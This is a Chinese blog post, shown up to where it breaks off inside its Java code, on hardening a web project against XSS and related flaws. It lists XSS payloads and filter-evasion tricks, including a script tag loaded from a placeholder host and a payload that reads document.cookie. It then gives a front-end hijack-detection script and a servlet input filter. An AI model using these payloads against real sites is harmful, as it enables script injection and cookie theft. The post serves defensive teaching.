yuruizai110
web项目安全漏洞防御实战

LK最近在对已有项目进行安全漏洞防御，现在将一些心得分享出来和大家一起讨论.主要是从下面几个方面进行漏洞修复。
1. 跨站脚本攻击漏洞（xss）
2. 敏感数据未加密传输
3. 验证机制缺陷
4. Cookie中未设HttpOnly标识
5. 危险的HTTP方法未禁用
1.跨站脚本攻击漏洞（xss）

先来了解一下什么是xss
概念
xss又叫css（cross site scripting，跨站脚本攻击），xss攻击通过在web页面插入恶意脚本，当页面被浏览时，恶意脚本会被执行，实现攻击用户的目的。
类型
1.存储型/持久型
存储型指恶意脚本会被存储在服务器端，如数据库中或者文件中。例如留言板等很容易因为输入检验不严谨导致被攻击。
2.反射型/非持久型
反射型一般是带有恶意脚本参数的URL，是一次性的。
3.DOM型
基于DOM文档对象模型的xss漏洞，客户端的恶意脚本程序可以通过DOM来动态修改页面内容，从客户端获取DOM中的数据并在本地执行。可能触发DOM型xss的属性有document.write、innerHTML、location、window.name、document.referer等。
构造方法
1.利用html标记<>进行操作



</code></pre> <p>2.利用html标签属性<br> 利用html标签支持js伪协议形式，如src，href，background、value、action、lowsrc、bgsound、dynsrc等，进行xss注入。如：</p> <pre><code><img src="javascript:alert(1);"/>
<table background="javascript:alert(1);"></table>
</code></pre> <p>3.事件利用<br> 可以利用html中某些动作事件，绑定恶意脚本。常用的事件有mouseover、onclick、onfocus、onerror、onload、onchange等，具体见：html事件属性</p> <pre><code><input type="button" value="click me" "alert(1)" />
</code></pre> <p>.4.利用css跨站<br> css样式表可作为恶意脚本载体，不需要嵌入html中，可以通过link或者@import进行引用，比较隐蔽，不过不同浏览器之间不能通用。</p> <pre><code><div style="background-image:url(javascript:alert(1))"></div>
<style>
    body{background-image:url(javascript:alert(1));}
     //expression中可使用全角字符
    p{background-image:expression(alert(1));}
    <style>@import'javascript:alert('xss');'</style>
</style>

</code></pre> <p>5.规避过滤规则<br> 可利用大小写混淆、拼接和拆分(空格回车和tab绕过)、字符编码等方式，如：</p> <pre><code><scRiPt>alert(1);</scrIPt>
<scr<script>ipt>alert(1)</scr</script>ipt>
<img src="javas		cript:alert(1);"/>//语句必须完整，有分号或者标签对。
//可以将代码用ASCII码替换,也可十进制、十六进制、八进制编码
<img src="javascrip#116&#58alert(1)" />
<a href=&quot;#javascript:alert(&#39;xss&#39;)&quot;>xss</a>
//拆分，可绕过长度限制
<script>z='document.'</script>
<script>z=+'write'("'</script>
<script>z=z+'<script'</script>

</code></pre> <p>6.DOM方法利用</p> <pre><code>var s=document.createElement("script");
s.src="http://xxx/xxx.js";
document.getElementsByTagName("head")[0].appendChild(s);
</code></pre> <p>7.location方法利用<br> 利用location加JavaScript伪代码，将“符号”、“变量名”、“函数名” 都变成字符串，在字符串中可以使用js编码，构造payload。</p> <pre><code><input type="button" value="click me" name=javascript:alert%281%29" location=this.name />
<img src="1" location="javascr"+"ipt:al"+"ert%28docu"+"ment.co"+"okie%29">

</code></pre> </li> 
   <li> <p><strong>防御</strong><br> 1<mark>前端检验</mark></p> <pre><code> 前端页面引入检测脚本------------httphijack1.1.0.js
 这是git上前端大神写的对其进行了小小的修改，与h5和node相关的部分暂且不用
</code></pre> <p>他主要检测了以下几方面攻击<br> 1）所有内联事件执行的代码<br> 2）href 属性 javascript: 内嵌的代码<br> 3）静态脚本文件内容<br> 4）动态添加的脚本文件内容<br> 5）document-write添加的内容<br> 6）iframe嵌套<br> 具体脚本如下：</p> <pre><code>
'use strict';
(function(window) {

var httphijack = function() {},
    inlineEventMap = {}, //内联事件扫描记录
    inlineEventId = 0, //内联事件扫描ID
    scanInlineElement = false; //是否需要扫描内联事件

// 安全域，白名单
var safeList = [
    /([a-zA-Z|a-zA-Z\d])+(\.)+(yy|duowan|yystatic|baidu|hiido|qq|baidu|gclick|minisplat|baidustatic|huanjuyun|sina|1931)+(\.)+[A-Za-z]{2,14}/i, //*.yy.com
    /((https|http):\/\/)+([a-zA-Z|a-zA-Z\d])+(\.)+(yy|duowan|yystatic|baidu|hiido|qq|baidu|gclick|minisplat|baidustatic|huanjuyun|sina|1931)+(\.)+[A-Za-z]{2,14}/i, //http开头
    /([a-zA-Z|a-zA-Z\d])+(\.)+(yy|duowan|yystatic|baidu|hiido|qq|baidu|gclick|minisplat|baidustatic|huanjuyun|sina|1931)+(:[0-9]{1,4})+(\.)+[A-Za-z]{2,14}/i, //帶端口的請求
    /[a-zA-Z0-9]\:\/\/[a-zA-Z0-9_/]*/i //手机相关
];


// 危险域，黑名单
// var dangerList = [];

// 过滤class关键词
var filterClassName = [
    'BAIDU_DUP_wrapper', //百度推广
    'BAIDU_DSPUI_FLOWBAR'
];

// 过滤name关键词
var filterProName = [
    'text',
    '#text',
    'IFRAME',
    'SCRIPT',
    'IMG'
];

// 过滤id关键词
var filterNodeId = [
    '1qa2ws'
];

var inlineEventList = [
    'alert',
    'location'
];
// reset console
if (!console) {
    window.console = {
        log: function() {
            return true;
        }
    };
}

/**
 * 统计上报函数
 * @param  {[type]} url 拦截脚本地址
 * @param  {[type]} className 拦截插入元素className
 * @param  {[type]} eName 内联事件名称
 * @param  {[type]} fUrl ifrmae乔套url
 */
function hiidoStat(url, className, eName, fUrl) {
    var hiidoParam = {
        'eventid': 10010793,
        'bak1': url,
        'bak2': className,
        'bak3': eName,
        'parm1': fUrl
    };
    
    
    if( url!=""  ||  url!=null ){
    	 console.log("拦截脚本地址"+url)
    }
    if( url!=""  ||  url!=null ){
   	 console.log("拦截插入元素"+className)
   }
    if( url!=""  ||  url!=null ){
   	 console.log("内联事件名称"+eName)
   }
    if( url!=""  ||  url!=null ){
   	 console.log("frmae乔套url"+fUrl)
   }
  //  h5Report(url, className, eName, fUrl);
    window.on_security_interdiction && window.on_security_interdiction.call(window, hiidoParam);
}

/**
 * h5性能检测统计
 * @param  {[type]} url 拦截脚本地址
 * @param  {[type]} className 拦截插入元素className
 * @param  {[type]} eName 内联事件名称
 * @param  {[type]} iframeUrl ifrmae乔套url
 */
//    function h5Report(url, className, eName, iframeUrl) {
//        var databody = {},
//            queryStr = '';
//
//        databody.url = url ? url : '';
//        databody.classname = className ? className : '';
//        databody.name = eName ? eName : '';
//        databody.iframeurl = iframeUrl ? iframeUrl : '';
//        databody.pathname = window.location.pathname;
//        databody.hostname = window.location.hostname;
//        databody.ua = navigator.userAgent;
//
//        for (var n in databody) {
//            if (databody[n] !== '') {
//                queryStr += n + '=' + databody[n] + '&';
//            }
//        }
//
//        (new Image).src = 'http://h5.yy.com/hostage/report?' + queryStr;
//    }
    /**
     * 过滤指定关键字
     * @param  {[Array]} 过滤词库 
     * @param  {[String]} value    [需要验证的字符串]
     * @return {[Boolean]}         [false -- 验证不通过，true -- 验证通过]
     */
    function filter(list, value) {
        if (list === safeList) {
            if (typeof(value) === 'undefined' || value === '') {
                return true;
            }
        } else {
            if (typeof(value) === 'undefined' || value === '') {
                return false;
            }
        }
        var length = list.length,
            i = 0;
        for (; i < length; i++) {
            // 建立黑名单正则
            var reg = new RegExp(list[i]);

            // 存在黑名单中，拦截
            if (reg.test(value.replace('https://', '').replace('http://', ''))) {
                return true;
            }
        }
        return false;
    }

// 内联事件劫持
function inlineEventFilter() {
    var i = 0,
        obj = null;

    for (obj in document) {
        if (/^on./.test(obj)) {
            interceptionInlineEvent(obj, i++);
        }
    }
}

/**
 * 内联事件拦截
 * @param  {[String]} eventName [内联事件名]
 * @param  {[Number]} eventID   [内联事件id]
 * @return {[type]}             [description]
 */
function interceptionInlineEvent(eventName, eventID) {
    var isClick = (eventName === 'onclick');

    document.addEventListener(eventName.substr(2), function(e) {
        scanElement(e.target, isClick, eventName, eventID);
    }, true);
}

/**
 * 扫描元素是否存在内联事件
 * @param  {[DOM]} elem [DOM元素]
 * @param  {[Boolean]} isClick [是否是内联点击事件]
 * @param  {[String]} eventName [内联 on* 事件名]
 * @param  {[Number]} eventID [给每个内联 on* 事件一个id]
 */
function scanElement(elem, isClick, eventName, eventID) {
    var flag = elem.isScan,
        code = '', // 扫描内联代码
        hash = 0;

    // 跳过已扫描的事件
    if (!flag) {
        flag = elem.isScan = ++inlineEventId;
    }

    hash = (flag << 8) | eventID;

    if (hash in inlineEventMap) {
        return;
    }

    inlineEventMap[hash] = true;

    // 非元素节点
    if (elem.nodeType !== Node.ELEMENT_NODE) {
        return;
    }
    //扫描包括 a iframe img video div 等所有可以写内联事件的元素
    if (elem[eventName]) {
        code = elem.getAttribute(eventName);
        if (code && filter(inlineEventList, code)) {
            // 注销事件
            elem[eventName] = null;
            hiidoStat('', '', code, '');
             console.log('拦截可疑内联事件:' + code);
        }
    }

    // 扫描 <a href="javascript:"> 的脚本
    if (isClick && elem.tagName === 'A' && elem.protocol === 'javascript:') {
        code = elem.href.substr(11);
        if (filter(inlineEventList, code)) {
            // 注销代码
            elem.href = 'javascript:void(0)';
            hiidoStat('', '', code, '');
            console.log('拦截可疑事件:' + code);
        }
    }

    // 递归扫描上级元素
    scanElement(elem.parentNode);
}

/**
 * 主动防御 MutationEvent
 * 使用 MutationObserver 进行静态插入脚本的拦截
 * @return {[type]} [description]
 */
//    function interceptionStaticScript() {
//        var MutationObserver = window.MutationObserver || window.WebKitMutationObserver || window.MozMutationObserver;
//        // 该构造函数用来实例化一个新的 Mutation 观察者对象 Mutation 观察者对象能监听在某个范围内的 DOM 树变化
//        if (!MutationObserver) return;
//        var observer = new MutationObserver(function(mutations) {
//            mutations.forEach(function(mutation) {
//                var nodes = mutation.addedNodes;
//
//                // 逐个遍历
//                for (var i = 0; i < nodes.length; i++) {
//                    var node = nodes[i];
//                    // 扫描 script 与 iframe
//                    if (node.tagName === 'SCRIPT' || node.tagName === 'IFRAME') {
//                        // 拦截到可疑iframe
//                        if (node.tagName === 'IFRAME' && node.src && !filter(safeList, node.src)) {
//                            node.parentNode && node.parentNode.removeChild(node);
//                            hiidoStat('', 'insertIFRMAETag', '', node.src);
//                            // console.log('拦截到可疑iframe', node.src);
//
//                        } else if (node.src) {
//                            // 只放行白名单
//                            if (!filter(safeList, node.src)) {
//                                node.parentNode && node.parentNode.removeChild(node);
//                                hiidoStat(node.src, 'insertScriptTag', '', '');
//                                // console.log('拦截可疑静态脚本:', node.src);
//                            }
//                        }
//                    }
//                }
//            });
//        });
//
//        // 传入目标节点和观察选项
//        // 如果 target 为 document 或者 document.documentElement
//        // 则当前文档中所有的节点添加与删除操作都会被观察到d
//        observer.observe(document, {
//            subtree: true,
//            childList: true
//        });
//    }

/**
 * 使用 DOMNodeInserted  进行动态脚本拦截监
 * 此处无法拦截，只能监测
 * @return {[type]} [description]
 */
function interceptionDynamicScript() {
    document.addEventListener('DOMNodeInserted', function(e) {
        var node = e.target;

        if (!filter(safeList, node.src) || filter(filterClassName, node.className) || filter(filterProName, node.name) || filter(filterNodeId, node.id)) {
            node.parentNode.removeChild(node);
            hiidoStat(node.src ? node.src : '', node.className ? node.className : '', node.name ? node.name : '', '');
            console.log('拦截可以创建节点：'+ node.nodeName + ',id为：'+(node.id?node.id:''));
        }
    }, true);
}

/**
 * 重写单个 window 窗口的 document.write 属性
 * @param  {[BOM]} window [浏览器window对象]
 * @return {[type]}       [description]
 */
function resetDocumentWrite(window) {
    var overWrite = window.document.write;

    window.document.write = function(string) {
        if (filter(filterClassName, string) || filter(filterProName, string) || filter(filterNodeId, string)) {
            hiidoStat('', string, '', '');
            // console.log('拦截可疑模块:', string);
            return;
        }
        overWrite.apply(document, arguments);
    };
}

/**
 * 重写单个 window 窗口的 setAttribute 属性
 * @param  {[BOM]} window [浏览器window对象]
 * @return {[type]} [description]
 */
function resetSetAttribute(window) {
    var overWrite = window.Element.prototype.setAttribute;

    window.Element.prototype.setAttribute = function(name, value) {
        if (this.tagName === 'SCRIPT' && /^src$/i.test(name)) {
            if (!filter(safeList, value)) {
                hiidoStat(value, '', '', '');
                // console.log('拦截可疑模块:', value);
                return;
            }
        }
        overWrite.apply(this, arguments);
    };
}

/**
 * 使用 MutationObserver 对生成的 iframe 页面进行监控，
 * 防止调用内部原生 setAttribute 及 document.write
 * @return {[type]} [description]
 */
function defenseIframe() {
    // 先保护当前页面
    installHook(window);
}

/**
 * 实现单个 window 窗口的 setAttribute保护
 * @param  {[BOM]} window [浏览器window对象]
 * @return {[type]}       [description]
 */
function installHook(window) {

    resetSetAttribute(window);
    resetDocumentWrite(window);

    // MutationObserver 的不同兼容性写法
    var MutationObserver = window.MutationObserver || window.WebKitMutationObserver || window.MozMutationObserver;
    if (!MutationObserver) return;
    var observer = new MutationObserver(function(mutations) {
        mutations.forEach(function(mutation) {
            var nodes = mutation.addedNodes;

            for (var i = 0; i < nodes.length; i++) {
                var node = nodes[i];

                // 给生成的 iframe 里环境也装上重写的钩子
                if (node.tagName === 'IFRAME') {
                    node.contentWindow && installHook(node.contentWindow);
                }
            }
        });
    });

    observer.observe(document, {
        subtree: true,
        childList: true
    });
}

/**
 * 使用 Object.defineProperty，锁住call和apply，使之无法被重写
 * @return {[type]} [description]
 */
function lockCallAndApply() {
    // 锁住 call
    try {
        Object.defineProperty(Function.prototype, 'call', {
            value: Function.prototype.call,
            // 当且仅当仅当该属性的 writable 为 true 时，该属性才能被赋值运算符改变
            writable: false,
            // 当且仅当该属性的 configurable 为 true 时，该属性才能够被改变，也能够被删除
            configurable: false,
            enumerable: true
        });
        // 锁住 apply
        Object.defineProperty(Function.prototype, 'apply', {
            value: Function.prototype.apply,
            writable: false,
            configurable: false,
            enumerable: true
        });
    } catch (e) {
        console && console.log(e);
    }

}
/**
 * 操作cookie的方法
 */
var s__cookie = {
    set: function(key, val) {
        var date = new Date();
        date.setTime(date.getTime() + 60 * 1000); //格式化为cookie识别的时间
        document.cookie = key + '=' + val + ';expires=' + date.toGMTString(); //设置cookie
    },
    get: function(key) {
        var getCookie = document.cookie.replace(/[ ]/g, '');
        var arrCookie = getCookie.split(';');
        var tips;
        for (var i = 0; i < arrCookie.length; i++) {
            var arr = arrCookie[i].split('=');
            if (key == arr[0]) {
                tips = arr[1];
                break;
            }
        }
        return tips;
    }
};
/**
 * 重定向iframe url（页面被iframe包裹）
 */
function redirectionIframeSrc() {
    var flag = 'type';

    if (self !== top) {
        var parentUrl = document.referrer,
            length = safeList.length,
            i = 0;

        for (; i < length; i++) {
            // 建立白名单正则
            var reg = new RegExp(safeList[i], 'i');

            // 存在白名单中，放行
            if (reg.test(parentUrl)) {
                return;
            }
        }

        var url = location.href;
        var parts = url.split('#');
        if (location.search) {
            parts[0] += '&' + flag + '=3';
        } else {
            parts[0] += '?' + flag + '=3';
        }
        try {
            if (!s__cookie.get('HtpLocTmp')) {
                top.location.href = parts.join('#');
                // cookie记录这次跳转的时间点
                s__cookie.set('HtpLocTmp', '1');
            }
            hiidoStat('', '', '', parentUrl);
            // console.log('页面被嵌入iframe中:', parentUrl);
        } catch (e) {
            hiidoStat('', '', '', parentUrl);
            // console.log('页面被嵌入iframe中, 重定向失败');
        }
    }
}

// 初始化方法
httphijack.init = function() {
   interceptionDynamicScript();
    scanInlineElement && inlineEventFilter();
  // interceptionStaticScript();
    lockCallAndApply();
    defenseIframe();
   redirectionIframeSrc();
};


if (typeof define === 'function' && define.amd) {
    define('httphijack', [], function() {
        return httphijack;
    });
} else {
    window.httphijack = httphijack;
}

// 不支持 IE8-
if (navigator.appName == 'Microsoft Internet Explorer' && (navigator.appVersion.split(';')[1].replace(/[ ]/g, '') == 'MSIE6.0' || navigator.appVersion.split(';')[1].replace(/[ ]/g, '') == 'MSIE7.0' || navigator.appVersion.split(';')[1].replace(/[ ]/g, '') == 'MSIE8.0')) {
    return;
} else {
    if (!(/localhost/i).test(location.host) || (navigator.appName === 'Microsoft Internet Explorer' && (navigator.appVersion.match(/7./i) !== '7.' || navigator.appVersion.match(/8./i) !== '8.'))) {
        httphijack.init();
    }
}
})(window);
</code></pre> <p>有兴趣的话可以在git上搜里面有详细的功能介绍</p> <p>2.<mark>后端过滤</mark><br> xss防御的重点是后段，因为前端能做的真的很少<br> 后段我是采用<mark>过滤器</mark>实现的</p> 
    <ul> 
     <li>添加xss过滤器</li> 
    </ul> <pre><code class="prism language-java"><span class="token comment">/**
 * 处理xss攻击
 * @author yrz
 *
 */</span>
<span class="token keyword">public</span> <span class="token keyword">class</span> <span class="token class-name">RequestFilter</span> <span class="token keyword">extends</span> <span class="token class-name">OncePerRequestFilter</span><span class="token punctuation">{</span>

	<span class="token annotation punctuation">@Override</span>
	<span class="token keyword">protected</span> <span class="token keyword">void</span> <span class="token function">doFilterInternal</span><span class="token punctuation">(</span>HttpServletRequest request<span class="token punctuation">,</span> HttpServletResponse response<span class="token punctuation">,</span>  FilterChain filterChain<span class="token punctuation">)</span>
			<span class="token keyword">throws</span> ServletException<span class="token punctuation">,</span> IOException <span class="token punctuation">{</span>
		 <span class="token comment">// 将request通过自定义的装饰类进行装饰</span>
        XssRequestWrapper xssRequest <span class="token operator">=</span> <span class="token keyword">new</span> <span class="token class-name">XssRequestWrapper</span><span class="token punctuation">(</span><span class="token punctuation">(</span>HttpServletRequest<span class="token punctuation">)</span> request<span class="token punctuation">)</span><span class="token punctuation">;</span>     
     filterChain<span class="token punctuation">.</span><span class="token function">doFilter</span><span class="token punctuation">(</span>xssRequest<span class="token punctuation">,</span> response<span class="token punctuation">)</span><span class="token punctuation">;</span>
        
	<span class="token punctuation">}</span>

<span class="token punctuation">}</span>

</code></pre> 
    <ul> 
     <li><mark>reqeust包装类,重写getParameter()等方法,这里面对参数的转义和替换,根据实际需求更改</mark></li> 
    </ul> <pre><code class="prism language-java"><span class="token keyword">package</span> com<span class="token punctuation">.</span>sinosoft<span class="token punctuation">.</span>filter<span class="token punctuation">;</span>

<span class="token keyword">import</span> java<span class="token punctuation">.</span>util<span class="token punctuation">.</span>HashMap<span class="token punctuation">;</span>
<span class="token keyword">import</span> java<span class="token punctuation">.</span>util<span class="token punctuation">.</span>Iterator<span class="token punctuation">;</span>
<span class="token keyword">import</span> java<span class="token punctuation">.</span>util<span class="token punctuation">.</span>Map<span class="token punctuation">;</span>
<span class="token keyword">import</span> java<span class="token punctuation">.</span>util<span class="token punctuation">.</span>regex<span class="token punctuation">.</span>Pattern<span class="token punctuation">;</span>

<span class="token keyword">import</span> javax<span class="token punctuation">.</span>servlet<span class="token punctuation">.</span>http<span class="token punctuation">.</span>HttpServletRequest<span class="token punctuation">;</span>
<span class="token keyword">import</span> javax<span class="token punctuation">.</span>servlet<span class="token punctuation">.</span>http<span class="token punctuation">.</span>HttpServletRequestWrapper<span class="token punctuation">;</span>

<span class="token keyword">public</span> <span class="token keyword">class</span> <span class="token class-name">XssRequestWrapper</span>  <span class="token keyword">extends</span> <span class="token class-name">HttpServletRequestWrapper</span><span class="token punctuation">{</span>

	 <span class="token keyword">private</span> HttpServletRequest request<span class="token punctuation">;</span>

	    <span class="token keyword">public</span> <span class="token function">XssRequestWrapper</span><span class="token punctuation">(</span>HttpServletRequest request<span class="token punctuation">)</span> <span class="token punctuation">{</span>
	        <span class="token keyword">super</span><span class="token punctuation">(</span>request<span class="token punctuation">)</span><span class="token punctuation">;</span>
	        <span class="token keyword">this</span><span class="token punctuation">.</span>request <span class="token operator">=</span> request<span class="token punctuation">;</span>
	    <span class="token punctuation">}</span>

    <span class="token comment">/**
     * 重写getParameter方法
     */</span>
    <span class="token annotation punctuation">@Override</span>
    <span class="token keyword">public</span> String <span class="token function">getParameter</span><span class="token punctuation">(</span>String name<span class="token punctuation">)</span> <span class="token punctuation">{</span>
        String value <span class="token operator">=</span> <span class="token keyword">super</span><span class="token punctuation">.</span><span class="token function">getParameter</span><span class="token punctuation">(</span>name<span class="token punctuation">)</span><span class="token punctuation">;</span>
        <span class="token keyword">if</span> <span class="token punctuation">(</span>value <span class="token operator">==</span> null<span class="token punctuation">)</span> <span class="token punctuation">{</span>
            <span class="token keyword">return</span> null<span class="token punctuation">;</span>
        <span class="token punctuation">}</span>
        value <span class="token operator">=</span> <span class="token function">format</span><span class="token punctuation">(</span>value<span class="token punctuation">)</span><span class="token punctuation">;</span>
        <span class="token keyword">return</span> value<span class="token punctuation">;</span>
    <span class="token punctuation">}</span>

    <span class="token comment">/**
     * 重写getParameterMap
     */</span>
    <span class="token annotation punctuation">@Override</span>
    <span class="token annotation punctuation">@SuppressWarnings</span><span class="token punctuation">(</span><span class="token string">"unchecked"</span><span class="token punctuation">)</span>
    <span class="token keyword">public</span> Map<span class="token operator"><</span>String<span class="token punctuation">,</span> String<span class="token punctuation">[</span><span class="token punctuation">]</span><span class="token operator">></span> <span class="token function">getParameterMap</span><span class="token punctuation">(</span><span class="token punctuation">)</span> <span class="token punctuation">{</span>
        HashMap<span class="token operator"><</span>String<span class="token punctuation">,</span> String<span class="token punctuation">[</span><span class="token punctuation">]</span><span class="token operator">></span> paramMap <span class="token operator">=</span> <span class="token punctuation">(</span>HashMap<span class="token operator"><</span>String<span class="token punctuation">,</span> String<span class="token punctuation">[</span><span class="token punctuation">]</span><span class="token operator">></span><span class="token punctuation">)</span> <span class="token keyword">super</span><span class="token punctuation">.</span><span class="token function">getParameterMap</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">;</span>
        paramMap <span class="token operator">=</span> <span class="token punctuation">(</span>HashMap<span class="token operator"><</span>String<span class="token punctuation">,</span> String<span class="token punctuation">[</span><span class="token punctuation">]</span><span class="token operator">></span><span class="token punctuation">)</span> paramMap<span class="token punctuation">.</span><span class="token function">clone</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">;</span>

        <span class="token keyword">for</span> <span class="token punctuation">(</span>Iterator iterator <span class="token operator">=</span> paramMap<span class="token punctuation">.</span><span class="token function">entrySet</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">.</span><span class="token function">iterator</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">;</span> iterator<span class="token punctuation">.</span><span class="token function">hasNext</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token punctuation">)</span> <span class="token punctuation">{</span>
            Map<span class="token punctuation">.</span>Entry<span class="token operator"><</span>String<span class="token punctuation">,</span> String<span class="token punctuation">[</span><span class="token punctuation">]</span><span class="token operator">></span> entry <span class="token operator">=</span> <span class="token punctuation">(</span>Map<span class="token punctuation">.</span>Entry<span class="token operator"><</span>String<span class="token punctuation">,</span> String<span class="token punctuation">[</span><span class="token punctuation">]</span><span class="token operator">></span><span class="token punctuation">)</span> iterator<span class="token punctuation">.</span><span class="token function">next</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">;</span>
            String <span class="token punctuation">[</span><span class="token punctuation">]</span> values <span class="token operator">=</span> entry<span class="token punctuation">.</span><span class="token function">getValue</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">;</span>
            <span class="token keyword">for</span> <span class="token punctuation">(</span><span class="token keyword">int</span> i <span class="token operator">=</span> <span class="token number">0</span><span class="token punctuation">;</span> i <span class="token operator"><</span> values<span class="token punctuation">.</span>length<span class="token punctuation">;</span> i<span class="token operator">++</span><span class="token punctuation">)</span> <span class="token punctuation">{</span>
                <span class="token keyword">if</span><span class="token punctuation">(</span>values<span class="token punctuation">[</span>i<span class="token punctuation">]</span> <span class="token keyword">instanceof</span> <span class="token class-name">String</span><span class="token punctuation">)</span><span class="token punctuation">{</span>
                    values<span class="token punctuation">[</span>i<span class="token punctuation">]</span> <span class="token operator">=</span> <span class="token function">format</span><span class="token punctuation">(</span>values<span class="token punctuation">[</span>i<span class="token punctuation">]</span><span class="token punctuation">)</span><span class="token punctuation">;</span>
                <span class="token punctuation">}</span>
            <span class="token punctuation">}</span>
            entry<span class="token punctuation">.</span><span class="token function">setValue</span><span class="token punctuation">(</span>values<span class="token punctuation">)</span><span class="token punctuation">;</span>
        <span class="token punctuation">}</span>
        <span class="token keyword">return</span> paramMap<span class="token punctuation">;</span>
    <span class="token punctuation">}</span>


    <span class="token comment">/**
     * 重写getParameterValues
     */</span>
    <span class="token annotation punctuation">@Override</span>
    <span class="token keyword">public</span> String<span class="token punctuation">[</span><span class="token punctuation">]</span> <span class="token function">getParameterValues</span><span class="token punctuation">(</span>String name<span class="token punctuation">)</span> <span class="token punctuation">{</span>
         String<span class="token punctuation">[</span><span class="token punctuation">]</span> values <span class="token operator">=</span> <span class="token keyword">super</span><span class="token punctuation">.</span><span class="token function">getParameterValues</span><span class="token punctuation">(</span>name<span class="token punctuation">)</span><span class="token punctuation">;</span>  
         <span class="token keyword">int</span> count <span class="token operator">=</span> values<span class="token punctuation">.</span>length<span class="token punctuation">;</span>  
            String<span class="token punctuation">[</span><span class="token punctuation">]</span> encodedValues <span class="token operator">=</span> <span class="token keyword">new</span> <span class="token class-name">String</span><span class="token punctuation">[</span>count<span class="token punctuation">]</span><span class="token punctuation">;</span>  
            <span class="token keyword">for</span> <span class="token punctuation">(</span><span class="token keyword">int</span> i <span class="token operator">=</span> <span class="token number">0</span><span class="token punctuation">;</span> i <span class="token operator"><</span> count<span class="token punctuation">;</span> i<span class="token operator">++</span><span class="token punctuation">)</span> <span class="token punctuation">{</span>  
                encodedValues<span class="token punctuation">[</span>i<span class="token punctuation">]</span> <span class="token operator">=</span> <span class="token function">format</span><span class="token punctuation">(</span>values<span class="token punctuation">[</span>i<span class="token punctuation">]</span><span class="token punctuation">)</span><span class="token punctuation">;</span>  
            <span class="token punctuation">}</span>  
        <span class="token keyword">return</span> encodedValues<span class="token punctuation">;</span>  
    <span class="token punctuation">}</span>

    <span class="token comment">/**
     * 重写getHeader
     */</span>
    <span class="token annotation punctuation">@Override</span>
    <span class="token keyword">public</span> String <span class="token function">getHeader</span><span class="token punctuation">(</span>String name<span class="token punctuation">)</span> <span class="token punctuation">{</span>
        <span class="token comment">// TODO Auto-generated method stub</span>
        <span class="token keyword">return</span> <span class="token function">format</span><span class="token punctuation">(</span><span class="token keyword">super</span><span class="token punctuation">.</span><span class="token function">getHeader</span><span class="token punctuation">(</span>name<span class="token punctuation">)</span><span class="token punctuation">)</span><span class="token punctuation">;</span>
    <span class="token punctuation">}</span>


    <span class="token keyword">public</span> String <span class="token function">filter</span><span class="token punctuation">(</span>String message<span class="token punctuation">)</span> <span class="token punctuation">{</span>
        <span class="token keyword">if</span> <span class="token punctuation">(</span>message <span class="token operator">==</span> null<span class="token punctuation">)</span>
            <span class="token keyword">return</span> <span class="token punctuation">(</span>null<span class="token punctuation">)</span><span class="token punctuation">;</span>
        message <span class="token operator">=</span> <span class="token function">format</span><span class="token punctuation">(</span>message<span class="token punctuation">)</span><span class="token punctuation">;</span>
        <span class="token keyword">return</span> message<span class="token punctuation">;</span>
    <span class="token punctuation">}</span>


     <span class="token comment">/**
     *  @desc 统一处理特殊字符的方法，替换掉sql和js的特殊字符
     *  @param name 要替换的字符
     */</span>
    <span class="token keyword">private</span> String <span class="token function">format</span><span class="token punctuation">(</span>String name<span class="token punctuation">)</span> <span class="token punctuation">{</span>
        <span class="token keyword">return</span> <span class="token function">xssEncode</span><span class="token punctuation">(</span>name<span class="token punctuation">)</span><span class="token punctuation">;</span>
    <span class="token punctuation">}</span>

    <span class="token comment">/** 
     * 将容易引起xss & sql漏洞的半角字符直接替换成全角字符 
     *  
     * @param s 
     * @return 
     */</span>  
    <span class="token keyword">private</span> <span class="token keyword">static</span> String <span class="token function">xssEncode</span><span class="token punctuation">(</span>String s<span class="token punctuation">)</span> <span class="token punctuation">{</span>  
        <span class="token keyword">if</span> <span class="token punctuation">(</span>s <span class="token operator">==</span> null <span class="token operator">||</span> s<span class="token punctuation">.</span><span class="token function">isEmpty</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">)</span> <span class="token punctuation">{</span>  
            <span class="token keyword">return</span> s<span class="token punctuation">;</span>  
        <span class="token punctuation">}</span><span class="token keyword">else</span><span class="token punctuation">{</span>  
            s <span class="token operator">=</span> <span class="token function">stripXSSAndSql</span><span class="token punctuation">(</span>s<span class="token punctuation">)</span><span class="token punctuation">;</span>  
        <span class="token punctuation">}</span>  
        StringBuilder sb <span class="token operator">=</span> <span class="token keyword">new</span> <span class="token class-name">StringBuilder</span><span class="token punctuation">(</span>s<span class="token punctuation">.</span><span class="token function">length</span><span class="token punctuation">(</span><span class="token punctuation">)</span> <span class="token operator">+</span> <span class="token number">16</span><span class="token punctuation">)</span><span class="token punctuation">;</span>  
        <span class="token keyword">for</span> <span class="token punctuation">(</span><span class="token keyword">int</span> i <span class="token operator">=</span> <span class="token number">0</span><span class="token punctuation">;</span> i <span class="token operator"><</span> s<span class="token punctuation">.</span><span class="token function">length</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">;</span> i<span class="token operator">++</span><span class="token punctuation">)</span> <span class="token punctuation">{</span>  
            <span class="token keyword">char</span> c <span class="token operator">=</span> s<span class="token punctuation">.</span><span class="token function">charAt</span><span class="token punctuation">(</span>i<span class="token punctuation">)</span><span class="token punctuation">;</span>  
            <span class="token keyword">switch</span> <span class="token punctuation">(</span>c<span class="token punctuation">)</span> <span class="token punctuation">{</span>  
            <span class="token keyword">case</span> <span class="token string">'>'</span><span class="token operator">:</span>  
                sb<span class="token punctuation">.</span><span class="token function">append</span><span class="token punctuation">(</span><span class="token string">"＞"</span><span class="token punctuation">)</span><span class="token punctuation">;</span><span class="token comment">// 转义大于号  </span>
                <span class="token keyword">break</span><span class="token punctuation">;</span>  
            <span class="token keyword">case</span> <span class="token string">'<'</span><span class="token operator">:</span>  
                sb<span class="token punctuation">.</span><span class="token function">append</span><span class="token punctuation">(</span><span class="token string">"＜"</span><span class="token punctuation">)</span><span class="token punctuation">;</span><span class="token comment">// 转义小于号  </span>
                <span class="token keyword">break</span><span class="token punctuation">;</span>  
